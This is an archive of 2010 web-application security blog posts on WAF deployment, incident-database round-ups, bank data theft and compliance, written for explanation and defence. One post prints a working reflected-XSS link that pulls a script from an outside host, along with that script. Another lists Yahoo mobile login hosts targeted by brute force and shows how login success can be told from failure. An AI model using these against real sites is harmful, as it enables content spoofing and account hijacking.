German Government Pays Hacker For Stolen Bank Account Data

2010-04-08T11:27:00.004-04:00

By Ryan Barnett 04/08/2010

The latest entry to the WASC Web Hacking Incident Database (WHID) is pretty interesting (below). The attack method is currently unknown (most likely candidate is SQL Injection due to bulk extraction of account holder data) however this story is a really good discussion topic and is why it is being included in WHID at this time.

The short of it is that someone hacked into some banks in Germany and Switzerland and stole account data about customers. Many of the banks are used as havens for people to hide their money for tax evasion purposes. The banks identified that this happened and did not notify their customers that their data was stolen. Well, the attacker decided to sell the stolen account data to the German government who then used the data to track down the account holders who were hiding money. The German government is now seeking back taxes and penalties against the account holders. The final piece of the story that is interesting is that one account holder ended up suing (and won by the way) the Bank for not notifying him about the stolen data with the rationale being that if he had known then he could have come forward to the German government and avoided additional penalties during the grace period.

All I can say is WOW. All four players in this story (the account holder, the bank, the attacker and the German government) *all* have dirty hands... It will be interesting to see what plays out in the future and if other Governments adopt a similar philosophy of paying for stolen data.

Entry Title: WHID 2010-64: Taxman rakes in hundreds of millions thanks to stolen bank data

WHID ID: 2010-64

Date Occurred: April 7, 2010

Attack Method: Unknown

Outcome: Monetary Loss

Incident Description: A fascinating story about how the German government has decided to buy stolen bank data in order to go after German citizens who have not paid taxes on their hidden accounts.

An interesting twist in another case involving LGT Treuhand, a Bad Homburg business man won millions in damages in a suit against the bank for failing to reveal that his information was stolen along with hundreds of other account holders and sold to German authorities for a criminal investigation. He argued that if the bank had informed those on the list that their data had been sold, they could have turned themselves in, receiving temporary amnesty and much lower fines.

Attack Source Geography:

Attacked Entity Field: Finance

Attacked Entity Geography: Germany

Reference: http://www.thelocal.de/article.php?ID=26381

Update - Apparently, the attacker in this case was a former employee and stole the account data by burning them to CDs.

WAF Confusion Continues

2010-04-07T08:43:00.007-04:00

By Ryan Barnett 04/07/2010

Frost&Sullivan recently held an Analyst briefing entitled "Analyst Briefing: Web Application Firewall: A Critical Defense For an Information Centric World" in which they provided an overview of the WAF market in the Asia Pacific region. Slides 5 and 6 of the presentation showed that there are still misconceptions about WAFs where organizations don't fully understand what they are and when they need them. There were two questions asked in the survey about WAF understanding.

The first question was "What is the first function that comes to mind when I mention the term "Web Application Firewall?" The top 6 responses are shown in the graphic on the right. As you can see, the two most telling responses were that 19.3% of respondents thought about Network Security. I attribute this response to two main factors:

A lack of understanding of the threat. Many organization don't understand that professional criminals' #1 targets are web applications.
An unfortunate side-effect of the name WAF. Having the term "firewall" in the name understandably leads people to think of network security devices.

The other interesting response was that 13% thought about IDS/IPS. This also leads to two thoughts:

Many people are using a WAF as only an HTTP-Aware IDS/IPS and utilizing only a negative security model.
Some of these respondents may not know that a WAF has other protection mechanisms beyond typical IDS/IPS capabilities. Items such as positive security, automated learning and session based protections are what really differentiates WAFs from other security devices.

The second question in the survey was "Agreement Towards Statements Concerning Web Application Firewalls." They asked 6 questions and the responses to two of them again shows a lack of understanding of when/how WAFs can help.

Having a powerful network firewall is sufficient to make up for a lack of a WAF

55% of respondents agreed with this statement. I believe that this viewpoint is somewhat related to the previous responses about a WAF being an HTTP-Aware IDS/IPS. Network Firewall vendors are promoting the concept of Deep Packet Inspection capabilities which allows them to view application layer data however there are some real-world limitations that often crop up with regards to web traffic.

Access to SSL traffic - in order to decrypt the SSL streams to view the HTTP payloads, any security device must be able to import the SSL cert and private key of the destination app server. Many network firewalls do not have the capability so the web-based protection is only for clear-text port 80 traffic.
Only negative security/signatures - the protections are based only on known/public vulnerabilities and use signatures.
Performance impact - network firewalls have to service many other protocols and the performance overhead of Deep Packet Inspection usually adds too much latency for real-world use.

WAF is only required if a company wants to be PCI-DSS compliant

48.3% of respondents agreed with this comment which to me implies two things:

Organizations don't understand the true value of WAFs which extend beyond the "Signature-Based, HTTP-Aware IDS/IPS". This narrow use case excludes capabilities such as Application Defect Identification and Performance Events (such as identifying Application Layer DoS).
This view echoes the comments made by Ofer Shezaf in his "The Curse of PCI for WAFs" blog post. It seems like a bit of a Catch-22 with PCI and WAFs in that on the one hand, PCI has raised the awareness of WAFs in general, however on the other hand now people are starting to associate WAFs as a need only if you have comply with PCI.

The end result of this survey shows that there is still much WAF awareness and education that needs to be done in the marketplace. Hopefully my blog posts are helping in this regard.

Secure Coding Practices Survey Results

2010-04-05T11:10:00.011-04:00

Submitted by Ryan Barnett 04/06/2010

The results of an interesting survey was recently released by Errata Security entitled Integrating Security Into the Software Development Lifecycle. The survey was gathered during the recent RSA and Security B-Sides conferences in San Francisco and focused on attendees who worked at software companies. There were a number of interesting perspectives on the levels of success, or lack there or, of attempting to implement a software development life cycle (SDLC) into an organization. Here is the most telling takeway from a DarkReading story on the survey results:

Microsoft's SDL was the most popular tool for secure software development methods, with Microsoft SDL Agile at number two, with 35 percent of the respondents using Agile SDL, most of which were small development firms and several large companies in the survey. "The survey showed a big win for Microsoft's awareness program, but what I hope that Microsoft will learn from this is that small- to medium-sized software companies have different needs than the big guys. SDL-Agile is a good start, but now they need to re-evaluate the resource requirements with small company in mind," says Marisa Fagan, security project manager at Errata Security.

Fagan says among those companies not deploying a secure coding program, the main reason was a lack of resources. "No matter what the size of the company, participants said it was too time consuming, too expensive, and too draining on their resources," she says. "Another reason was that management had deemed it unnecessary...The survey showed that developers look to management to set the security agenda, and are generally not self-starters when it comes to including security in their code."

This is a key finding that organizations are facing, especially small to medium sized ones. Here is a comment from a survey participant that echoes this same sentiment:

Planning to move security further "left" in the cycle. Unfortunately, my executive management is more concerned with getting a product out the door than getting a secure product out the door. Until that changes, I don't know how successful I can be...

I have seen this issue first hand. If upper-management does not fully comprehend the impact of poor software security, then throwing process and technology at the problem won't help. C-level executives need guidelines so that they can make informed decisions about the possible consequences of producing insecure code. Last Wednesday an interesting report was released called "The Financial Management of Cyber Risk: An Implementation Framework for CFOs" and it is highly recommended that management reads it. Please pass this along.

Weekly Round-Up of Web Hacking Incident Database (WHID) Events (March 29th - April 5th)

2010-04-05T10:13:00.002-04:00

Submitted by Ryan Barnett 04/05/2010

The Web Hacking Incidents Database, or WHID for short, is a Web Application Security Consortium project dedicated to maintaining a list of web applications related security incidents. WHID goal is to serve as a tool for raising awareness of the web application security problem and provide information for statistical analysis of web applications security incidents.

The following incidents where added to WHID last week:

WHID 2010-46: Microsoft's Larry "Major Nelson" Hryb has online account hijacked through Xbox.com as part of underground group's publicity bid.

http://www.gamespot.com/news/6254330.html

WHID 2010-47: Court papers: JC Penney was hacking victim

http://www.msnbc.msn.com/id/36088614/ns/technology_and_science-security/

WHID 2010-48: Hackers brute force their way into galeton.com website containing names, credit card numbers

http://datalossdb.org/incidents/2692-hackers-brute-force-their-way-into-website-containing-names-credit-card-numbers

WHID 2010-49: Hackers pluck 8,300 customer logins from bank server

http://www.theregister.co.uk/2010/01/12/bank_server_breached/

WHID 2010-50: Shared-password vulnerability may have exposed personal information in online account management system

http://www.darkreading.com/vulnerability_management/security/privacy/showArticle.jhtml?articleID=222301034

WHID 2010-51: Woman worms into D.C. taxpayer accounts

http://www.washingtonexaminer.com/local/Woman-worms-into-D_C_-taxpayer-accounts-83589257.html

WHID 2010-52: 3000 Small Dog Electronics customers' credit card details compromised

http://www.infosecurity-us.com/view/7411/3000-small-dog-electronics-customers-credit-card-details-compromised/

WHID 2010-53: Google says Vietnam political blogs hacked

http://news.yahoo.com/s/afp/20100331/tc_afp/vietnammediainternetrightsgooglemcafee&a=Technology News&x=1

WHID 2010-54: MyPilotStore.com hack results in false charges on customers’ cards

http://www.databreaches.net/?p=10990

WHID 2010-55: Drudge Report accused of serving malware, again

http://news.cnet.com/8301-27080_3-10466044-245.html

WHID 2010-56: Facebook Flub Leaks Private E-Mail Addresses

http://www.cio.com/article/589021/Facebook_Flub_Leaks_Private_E_Mail_Addresses

WHID 2010-57: Web security under attack from ads in prominent advertising programs

http://www.mxlogic.com/securitynews/web-security/web-security-under-attack-from-ads-in-prominent-advertising-programs651.cfm

WHID 2010-58: China journalist club shuts website after attack

http://www.reuters.com/assets/print?aid=USTOE63101R20100402

Content Spoofing - Not Just An April Fool's Day Attack

2010-04-01T09:46:00.004-04:00

Submitted by Ryan Barnett 04/01/2010

Happy April Fool's Day Everyone! April 1st is traditionally a day for pranks and there is no doubt in my mind that we will all be flooded with all sorts of Content Spoofing types of fake news stories such as the one in the graphic on the right from the CBS News website whose headline read:

George Bush appoints a 9 year old to be the chairperson of the Information Security Department.

How are these attacks carried out? More often than not, attackers leverage reflective Cross-site Scripting vulnerabilities within news outlet's web applications so that if victims click on web links the spoofed data will appear. Here is what the XSS link looked like:

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--%3E%3Cscript%20src=http://www.securitylab. ru/test/sc.js%3E%3C/script%3E%3C!--

When the user sent this request to the website, the javascript payload executed within the victim's browser and requested the sc.js file on the remote, hacker-owned website. The contents of the sc.js file were:

document.write('&ltp align=left&gtMon, 28 August 2006');
document.write('&ltp align=center>&ltb&gtGeorge Bush appoints a 9year old to be the chairperson… ');
document.write('&ltp>On Friday night, George Bush made... ');
document.write('&ltp>Michael Antipov was noticed by the FBI... ');
document.write('&ltp>Michael Antipov, sun of the top-secret... ');
document.write('&ltp>From now on the citizens of the USA can... ');

Cross-site Scripting vulnerabilities are found in just about every web application so the CBS News site example here is not unique. The XSSed website shows a number of news outlet sites vulnerable to this type of attack:

www.internetnews.com XSS vulnerability notified by nickhacks
search.news.cn XSS vulnerability notified by nicobar
www.newsmill.se XSS vulnerability notified by Uber0n
news.uchicago.edu XSS vulnerability notified by nopic01
www.pdenewsroom.state.pa.us XSS vulnerability notified by Mystick
novinnews.com XSS vulnerability notified by Pouya_Server
www.newscast.co.uk XSS vulnerability notified by Viper.aT
www.healthcareitnews.com XSS vulnerability notified by skathgh420
blognetnews.com XSS vulnerability notified by GTADarkDude
search.cyclingnews.com XSS vulnerability notified by Rohit Bansal
news.president.am XSS vulnerability notified by By_Cyber
www.recentnews.co.uk XSS vulnerability notified by austinator
media.49abcnews.com XSS vulnerability notified by xylitol
news.carnoc.com XSS vulnerability notified by xylitol
news.onekoreanews.net XSS vulnerability notified by Woo
newshub.tucows.com XSS vulnerability notified by DaiMon
www.newsvoyager.com XSS vulnerability notified by TheBig
www.hypernews.org XSS vulnerability notified by Mystick
newsroom.pse.com XSS vulnerability notified by LostBrilliance
news.mediamarkt.de XSS vulnerability notified by zrok

Keep in mind that XSS vulnerabilities can be leveraged in many different types of attack outcomes. In this case, we are talking about Content Spoofing of news stories however an attacker may also use the same attack vectors to try and install malware onto victim's computers.

Besides XSS vulnerabilities, Content Spoofing attacks can be carried out due to unauthorized access to web-based management interfaces. For example, there have been news stories of improperly configured proxy servers that allowed external clients to gain access to the the internal network. This in turn allowed them access to web-based news submittal applications. This is exactly what happened where hacker Adrian Lamo posted fake news stories on Yahoo's website.

Hijacking Yahoo Email Accounts Update

2010-03-31T10:19:00.003-04:00

Submitted by Ryan Barnett 03/31/2010

There have been recent news reports of journalists' Yahoo email accounts being hacked. Andrew Jacobs of the New York Times reports:

In what appears to be a coordinated assault, the e-mail accounts of more than a dozen rights activists, academics and journalists who cover China have been compromised by unknown intruders. A Chinese human rights organization also said that hackers disabled its Web site for a fifth straight day.

The infiltrations, which involved Yahoo e-mail accounts, appeared to be aimed at people who write about China and Taiwan, rendering their accounts inaccessible, according to those who were affected. In the case of this reporter, hackers altered e-mail settings so that all correspondence was surreptitiously forwarded to another e-mail address.

So, how were these Yahoo email account broken into? The news article provides a possible scenario:

Paul Wood, a senior analyst at the Symantec Corporation, said a growing number of malignant viruses were tailored to specific recipients, with the goal of tricking them into opening attachments that would insert malware onto their computers. Mr. Wood said his company, which designs anti-virus software, now blocks about 60 such attacks each day, up from 1 or 2 a week in 2005. “They’re very well crafted and extremely damaging,” he said.

Targeted malware may very well have been the attack vector here, however I can't help but to also think about the Distributed Brute Force Attacks that we are seeing against Yahoo accounts through the WASC Distributed Open Proxy Honeypot Project. Brute forcing login credentials is still quite an effective means of hijacking accounts. As I outlined in the other blog post, attacker's have found that they can target a web services URL to conduct their attacks without any restrictions such a CAPTCHAs.

Well, in addition to the web service authentication URLs, we are now also the attackers targeting mobile (WAP) authentication services. Here are some of the different mobile Yahoo subdomains being targeted:

in.wap.yahoo.com
mlogin2.mobile.re4.yahoo.com
mobile1.login.vip.sp2.yahoo.com
my.rf.wap.yahoo.com
ph.wap.yahoo.com
sushi2.mobile.ch1.yahoo.com
webgw1.mobile.re3.yahoo.com
webgw3.mobile.re3.yahoo.com

When a client sends credentials and it is a failed auth attempt, it looks like this:

HTTP/1.1 302 Found
Date: Wed, 31 Mar 2010 14:49:03 GMT
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate
Set-Cookie: B=emj89nt5r6o6v&b=3&s=lo; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yahoo.com
Location: /p/login?.done=/p/&.pc=5135&.error=7&ignore=signin&ySiD=32CzS0e2khOZCLqXwuFj
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

Notice that the Location header sends the user back to a login URL with parameters indicating that there was an error. In contrast, when a successful auth happens, the user is redirected to a different URL:

HTTP/1.1 302 Found
Date: Wed, 31 Mar 2010 14:48:46 GMT
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: private, no-store, no-cache, must-revalidate
Set-Cookie: B=derbda55r6o6e&b=3&s=ml; expires=Tue, 02-Jun-2037 20:00:00 GMT; path=/; domain=.yahoo.com
Location: /p/?.data=LnlpZCUzZFU4ZjZDNWZRZ25vb2VkX19lZy0tJTI2Lnl0cyUzZDIw
MTAwMzMxMTQ0ODQ3JTI2LnlndCUzZEhlbGxvIEh1Z2glMjYueWludGwlM2R1cy
UyNi55Y28lM2R1cyUyNi55ZW0lM2RkYXZpc19odWdoQHlhaG9vLmNvbSUyNi55eW0lM2RkYXZpc19odWdoQHlhaG9vLmNvbSUyNi55bm0lM2RIdWdoIERhdmlzJTI
2LnloaWQlM2RkYXZpc19odWdoJTI2LnlyZWclM2QxMDY1NzA0NDc4&.ys=XkVVQ
zpv_oOsltCTiJwm3.c9zrQ-&ySiD=zmCzS9GqZrL1pVcmUygz
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

It is interesting to note that the hacker underground is keeping track of all of these different authentication servers and the various authentication mechanisms in use. Just do a google search for "Yahoo Servers for cracking" which will give you a huge list of users forums where hackers are listing both Yahoo authentication hosts and automated tools for brute forcing (such as the image on the right).

The lessons learned from this data is that there are many ways in which attackers may be able to hijack user's email accounts. For organizations attempting to defend against these types of attacks, it is critical that all authentication mechanisms are identified and proper access control is implemented (specifically if end users are allow to directly interact with it or if is supposed to be used only by other authorized partners).

WASC Web Hacking Incident Database Project Update

2010-03-30T09:02:00.002-04:00

Submitted by Ryan Barnett 03/30/2010

I wanted to share some exciting news with everyone. I have taken over as the Project Leader for the WASC Web Hacking Incident Database (WHID) Project. First of all I wanted to thank Ofer Shezaf for starting WHID and for all of the great work he has done with it. It is a tremendous resource for real-world web application security awareness as it helps to prioritize attacks/vulnerabilities that are currently being used by cyber-criminals to compromise sites. I am excited to keep it going and to hopefully increase its value to the community.

Changes to WHID

The WHID data has been uploaded to a new DabbleDB account which will help to allow for multiple WHID authors. If you would like to participate in this capacity, please let me know and I will get you setup.
The project page has been updated to embed the DabbleDB data, with search filters, into the existing WHID Project page. This makes searching and filtering much easier. You can also access it directly here.
We also added an Incident Entry Submittal Form directly on the page so it will be easier for the community to send in links to web hack stories. This will then place the link in a queue and email me for a follow-up.
Lastly, we also added a new RSS feed and Twitter account so you can keep track of WHID entries as they happen.

If you have any comments about WHID or recommendations for making it more useful, please let me know.

Continuous Monitoring Highlighted in Recommended FISMA Changes

2010-03-29T08:09:00.010-04:00

Submitted by Ryan Barnett 03/29/2010

The SANS Institute's weekly NewsBites newsletter covered an important story last week with regards to proposed changes to the Federal Information Security Management Act (FISMA) which was presented at a House subcommittee meeting on March 24. The most important change is a shift towards are more agile, real-time monitoring capability. Alan Paller, Director of Research at the SANS Institute, stated the following in his testimony:

One of the most important goals of any federal cyber security legislation must be to enable the defenders to act as quickly to protect their systems as the attackers can act. We call this continuous monitoring and it is single handedly the most important element you will write into the new law. Continuous monitoring enables government agencies to respond quickly and effectively to common and new attack vectors. The Department of State has demonstrated the effectiveness of this security innovation. Most major corporations use it. This model is the future of federal cybersecurity. As our response to attacks becomes faster and more automated, we will take the first steps toward turning the tide in cyberspace, and protecting our sensitive information.

Continuous Monitoring capabilities, not only for government but also the commercial sector, is absolutely critical for identifying attempted and actual compromises and conducting proper incident response. Proper real-time network security monitoring is woefully lacking and this claim is supported by the Verizon 2009 Data Breach Investigations report which found that "Breaches still go undiscovered and uncontained for weeks or months in 75 percent of cases." This is mainly due to a lack or proper real-time continuous monitoring of network traffic.

Breach Security has seen these issues first hand with our government customers who want to protect their web applications. They are lacking lacking real-time visibility into their web data streams and are unaware of who is attacking them, how they are doing it and if and when they are successful. Web application firewalls give them them the visibility they need and the situational awareness required to identify and respond to real-time attacks.

Mr. Paller also recommends the use of the Consensus Audit Guidelines (CAG) as created by the Center for Strategic and International Studies (members of the Consortium include NSA, US Cert, DoD JTF-GNO, the Department of Energy Nuclear Laboratories, Department of State, DoD Cyber Crime Center plus the top commercial forensics experts and pen testers that serve the banking and critical infrastructure communities). Mr. Paller stated in his testimony:

Both the guidance for implementing FISMA and the guidance for auditing compliance are focusing on out of date, ineffective defenses. What we need instead is a process that directs agencies to focus their cyber security resources on monitoring their information systems and networks in real time so that they can prevent, detect and/or mitigate damage from attacks as they occur. And oversight must be focused on the effectiveness of the agencies’ real‐time defenses.

The CAG list is much more update-to-date not only with current attack methodologies of advanced persistent threats (APT) but also includes critical audit components such as what metrics should be captured and how to test the effectiveness of the controls. One example taken from the CAG is Control 7: Application Software Security which lists specific, operational controls for web applications such as:

How can this control be implemented, automated, and its effectiveness measured?
QW: Organizations should protect web applications by deploying web application firewalls that inspect all traffic flowing to the web application for common web application attacks, including but not limited to Cross-Site Scripting, SQL injection, command injection, and directory traversal attacks. For applications that are not web based, deploy specific application firewalls if such tools are available for the given application type.

Again, web application firewalls can be used as a tactical remediation tool to help organizations reduce their time-to-fix metric of fixing identified vulnerabilities by acting as a virtual patch (or compensating control as specified in control 7 of the CAG). The graphic on the right is taken from Whitehat Security's Statistics Report and it tracks the average time to fix a class of vulnerability measured in days. As you can see, most of these issues aren't resolved for months. The CAG, on the other hand, recommends the following remediation times:

Additionally, all high-risk vulnerabilities in Internet-accessible web applications identified by web application vulnerability scanners, static analysis tools, and automated database configuration review tools must be mitigated (by either fixing the flaw or through implementing a compensating control) within fifteen days of discovery of the flaw.

WAFs can help to close the gap of remediation time between what is recommended by CAG and the time that it normally takes an organization to implement source code level changes in production. This type of continuous monitoring and agile response capabilities are a key component of defense and it is good news that the government is looking to ensure FISMA includes them.

Hackers Targetting Commercial Online Bank Accounts

2010-03-23T09:44:00.006-04:00

Submitted by Ryan Barnett 3/23/2010

There have been a number of stories in the past few months that outline a growing trend with cyber-criminals - targeting the online banking accounts of businesses. As the cartoon on the right shows, stealing money from online banks is an optimal choice for savvy cyber-criminals as the yield is potentially very high and the risk of physical harm associated with attempting to rob a brick-and-mortar bank is removed.

Two such stories come from ComputerWorld and outline how two companies had money transferred out of their accounts to foreign countries. The first one tells how the TD Bank account of the town of Poughkeepsie, NY was breached by hackers and approximately $378,000 was transfer out of the account. The other example describes how Plano, TX Hillary Machinery Inc had approximately $800,000 transferred from its PlainsCapital online account.

So, how were the cyber-criminals able to obtain access to these online bank accounts? Details are scarce however it appears that the criminals used valid credentials. A likely source would be a Man-in-the-browser (MitB) type of attack from something like Zeus which infects client computers and monitors web activity and can steal and even manipulate web data. Brian Krebs from the Washington Post has been following these trending stories for about 9 months now and this blog post seems to corroborate the attack method of MitB types of malware stealing banking credentials.

From a web application defense perspective, since the attackers used legit credentials during the transactions, other types of fraud/anomaly detection mechanisms should be employed. In both example incidents, the fact that these transactions were initiated from computers in other countries (Itally/Romania) and transferring money to over-seas accounts should have raised some sort of red-flags.

Bottom line - user must take extra precautions when accessing online banking accounts such as not using your standard web browser that you use for web surfing and instead using a sand-boxed web browser sessions (in an application such as VMware).

Applications vs. Automobiles

2010-03-22T15:07:00.007-04:00

Submitted by Ryan Barnett 03/22/2010

I funny picture was sent to me through our PR team at Schwartz Communications that made me chuckle. I am sure you have seen traffic light cameras that automatically take photos of the cars that do not obey traffic lights. Well, this photo shows how someone was attempting to abuse the fact that most of these cameras are integrated with computers and presumably back-end databases to automatically generate traffic violation tickets. By placing an SQL query on the front bumper where the license plate would normally reside, the driver of this car may be able to not only evade receiving a ticket but may also delete the entire "tablice" table.

This scenario clearly indicates a growing trend - the inter-connectedness between applications and automobiles.

Another recent news story that echoes this trend is found in a recent WASC WHID entry where an attacker was able to hack into his former employer's web application that communicated with systems installed on leased cars. This software was able to either prevent cars from starting or force the car horn to beep repeatedly if the car's lease payment went past due. The hacker not only destroyed account data but also caused 100+ cars to not start and horns sounding off.

These are fairly harmless impacts but there is an under current for concern that this inter-connectedness between online applications and our physical world is actually quite fragile and must be protected from abuse.

Inline vs. Out-of-Line WAF Deployments

2010-03-16T10:07:00.012-04:00

Submitted by Ryan Barnett 03/16/2010

There was an article that just came out today entitled "Top considerations for selecting Web Application Firewall technology" that I had to comment on. First of all, the title is misleading as a more accurate title for this would have been "Proxy vs. Non-Proxy based WAF deployment models" as the article highlights why they think that a proxy-based WAF deployment is superior to non-proxy ones. Is this really the case? It depends. Each WAF deployment is different base on the use-case. Are you going to use it for virtual patching, http audit logging, tracking sensitive data, application DoS or App Defect identification? All of these scenarios are different and they don't always require an inline, proxy-base deployment model.

It is also important to note that there are hybrid deployment modes available for WAFs which include deploying sensors out-of-line to gather data and then communicating with agent applications installed on specific, individual web servers. The advantage of this approach is that for many large networks, they may only want to use an inline approach for some web applications without incurring the latency hit to other applications.

Keep in mind that this article was written by Evolution PR who represents WAF vendor Barracuda Networks - who does not offer an out-of-line/non-proxy based WAF solution. This makes it a bit more clear as to why they are trying to pitch proxy-based WAF as the only real solution. Breach Security's WebDefend appliance can be deployed in both out-of-line and inline modes so I am not promoting one over the other due to commercial interests. My aim here is to provide counterpoints to the data presented in this article. Let's look at the issues highlighted in more depth.

1. Cloaking

Hackers gather information in order to launch an attack on a Web server by trying to simulate error conditions on a Web site. Often, the resultant error messages expose information about the Web server, application server, or the database being used. This information is then used to launch a full-scale attack on the Web infrastructure.
A proxy-based WAF intercepts the response from the back-end server and forwards it to the client only if it is not an error. If the response is an error, the WAF can suppress the response containing debugging information and send out a custom response. The WAF also removes headers such as server banners, which can be used to identify servers.

The WASC Web Application Firewall Evaluation Criteria (WAFEC) document lists several alternative protection techniques that can be employed. In this section, the article is mainly talking about detailed error leakage prevention which isn't really what is considered web application cloaking. Cloaking involves attempting to obscure or remove tell-tale signs of the web application technology in use. These include encrypting or signing Cookies, URLs and parameter data to prevent tampering. While this is certainly a sexy concept it runs into issues in practice mainly due to the dynamic nature of today's web applications. Accurately parsing outbound response bodies in order to accurately identify/update/sign/encrypt all possible parameter data is not easy. You can thank AJAX, Flash, etc... for that. If is for this reason, that using behavioral profiling of inbound application usage is key.

2. Input validation

A WAF should secure applications where the incoming traffic may be encrypted or encoded using a non-standard character encoding.
A proxy based WAF decrypts and normalises data before running various types of checks, in order to ensure that no attacks are smuggled inside of encrypted or encoded packets. It also offers multiple ways of securing inputs - such as encrypting or digitally signing cookies to prevent against cookie tampering attacks. It can also recognise which fields are read-only or hidden and ensure that these fields are not altered. For other fields, it should offer a host of protection mechanisms such as checking for various attacks on the input fields and locking down those inputs based on data type, such as numeric or alpha numeric.
Non-proxy based WAFs do not provide effective input validation. Although some can encrypt and normalise data, because they are not proxy-based they are not able to enforce rules on individual form parameters passed to the application. They also cannot encrypt or digitally sign the application cookie; relying instead on signature matching for security.

Where to start with this section... First of all, the deployment model in use (inline vs. out-of-line) has absolutely nothing to do with the WAF's input validation capabilities. WAFs can do application profiling/learning and automatically create a positive security profile for URLs+Parameter payloads whether they are proxy-based or not. It is important to note, however, that there is a difference between detection and blocking. This section seems to indicate that non-proxy based WAFs can not detect these types of attacks and enforce input validation and this is not true. Once a violation of the learned profile occurs, however, if you want the WAF to block, then of course an inline WAF can block the request locally.

3. Data theft protection

Proxy based WAFs intercept outbound data, so they can be configured to ensure that sensitive data - like credit card numbers - are either masked or altogether blocked to protect data leakage.
This is only possible because the proxy-based WAF sits in line with the application server and secures data on both incoming and outgoing paths - so this is not offered by non-proxy based WAFs.

Proxy based WAFs do have one advantage when it comes to outbound data handling and that is if the user wants to actually change data on the fly to mask or delete sensitive data and still serve the response to the client. Again, while this sound like a great concept, there are issues in the real world. One specific issue which I have seen is when a WAF sanitized data doing outbound and this caused problems with processing of subsequent requests as this data was used within hidden fields. Remember my point from item #1 above in this regard as accurate parsing of outbound data is oftentimes difficult so properly sanitizing data is challenging as well.

4. Protect against application layer DOS attacks

There are many ways of launching an application layer denial of service attack. Web applications maintain state information - such as the number of items in a shopping cart - with the help of sessions, which require some memory resources on the Web servers. By forcing a Web server to create thousands of session leads, memory resources are locked up and this results in performance degradation and can lead to a server crash.
There are other ways these attacks can be done. The WAF should be able to control the rate at which requests reach the Web server, and track the rate of session creation. This is only possible with a system that proxies on behalf of the Web or application server.

Again - not true. Out-of-Line WAFs are also able to do rate-limiting and identify potential DoS scenarios. Breach Security's WebDefend appliance has Excessive Access Rate Detection capabilities which allow the user to set appropriate Anti-Automation rate-limiting thresholds to prevent brute force, scraping and DoS attacks. In an earlier blog post I also outlined how a WAF can Identify DoS Conditions through Performance Monitoring which helps to identify stealthy attacks that aim to open http connections and then sit idle and tie up processes. Under all of these circumstances, the issue is not about detection but how are you going to react when these attacks are identified. WAFs can choose to issue TCP resets based on increasing granularity: IP addresses, SessionIDs, or specific application usernames. If your site is under a heavy DDoS attack, it is usually appropriate to take evasion actions and actually push out the IP blocking to a network security device at the edge of your network.

5. Centralised security enforcement

The ability to enforce all security policies from a single control point allows for simplified operations and infrastructure. To ensure safer and more efficient security administration, it is advisable that controlling and enforcing attack prevention, privacy (SSL cryptography) and AAA (Authentication, Authorisation, Accounting) policy is done through a single control point.
Because a non-proxy WAF does not terminate TCP connections, it does not have the ability to request credentials from incoming users, issue cookies upon successful credential exchange, redirect sessions to particular destinations, or restrict particular users to particular resources. Proxy-based solutions, on the other hand, have the capability to be an AAA authority - or to fully integrate with existing AAA infrastructure.

Centralization of authentication/authorization mechanism is great from a management perspective but it isn't always appropriate from a WAF perspective. Most web applications handle user authentications themselves and are managed by different business units. Forget about WAFs for a minute - it is a larger undertaking to centralize web application account administration than to try and start this because you are going to implement a WAF. Where this makes sense is if/when you are create more of a portal environment and you want to then broker requests to different internal business units.

6. Control the response

Because of the wide range of security violations, it is important that the administrator is able to respond to threats differently. For example, in many cases it would be best to respond to a violation with a custom message or connection reset, while in others the administrator may want to follow up with the main action directly, with a longer block time.
Only proxy-based solutions are able to offer this sort of flexibility, as non-proxy based WAFs rely solely on sending TCP resets back to the attacker and temporary network ACLs as their protective mechanisms. Attacking packets will make it through to the server, and blocking actions are time-limited.

Don't forget about the hybrid deployment option I mentioned at the beginning which includes adding agents to specific web applications. This section does have a point, however, in that if you want to get more granular with handling custom error messages and redirecting the user under specific circumstances then having an inline WAF provides more options. As far as disruptive actions, out-of-line WAFs are not relegated to only using TCP resets. One interesting reactive action that Breach Security's WebDefend appliance has is called "Application Logout" in which the WAF initiates an http request to the application simulates the client actually logging out. This is similar in theory to doing TCP resets at lower OSI levels where you have to spoof the proper sequence numbers in order to terminate the connections. For the http layer, WebDefend will dynamically insert the proper application SessionID cookie value when submitting the app logout so it appears from the application's perspective that the logout was initiated by the user. Pretty slick. It is quite handy when used under certain policy violations such as suspected Session Hijacking events.

7. SSL architectural considerations

Application attacks use SSL cryptography and common encoding techniques to bypass traditional security measures, and hide their attacks. Proxy and non-proxy WAFs are quite different in the way they handle SSL cryptography and key management.
Non-proxy WAF vendors claim that they also have the technology to 'see' into an SSL encrypted packet as it passes by the non-proxy device. However, because decrypting and analysing the data takes time, by the time the non-proxy WAF is ready to make a decision, the attack will have already reached the back-end servers and completed the transaction.
Proxy based WAFs, on the other hand, are designed to serve as an SSL termination endpoint. Proxies tightly couple TCP, SSL and HTTP termination, giving them complete visibility into application content and allowing them to perform deep inspection on the entire session payload, including headers, URLs, parameters and form fields.

This section brings up and interesting trade-off that all WAF users must deal with - performance/latency of inspection vs. effective blocking. Out-of-line deployments are ideal for the former while inline deployments are the best for the latter. So, which items is more important to you? The second paragraph makes it seems as though out-of-line WAFs can't do the same SSL decryption/inspection and that is false as they can provide the same level of visibility. The issue is with that of latency and if, after inspection, disruptive actions are employed.

8. Accelerate and scale application delivery

It is important that a WAF product does not negatively affect end-user response time. Proxy based firewalls fully terminate the TCP, SSL and HTTP, reducing end user response time. They should be able to cache static content from the application, offloading servers and saving download time; pool TCP connections to the back-end servers and offload SSL processing, thereby reducing server load and end-user response time. Non-proxy based WAF products do not offer these features.

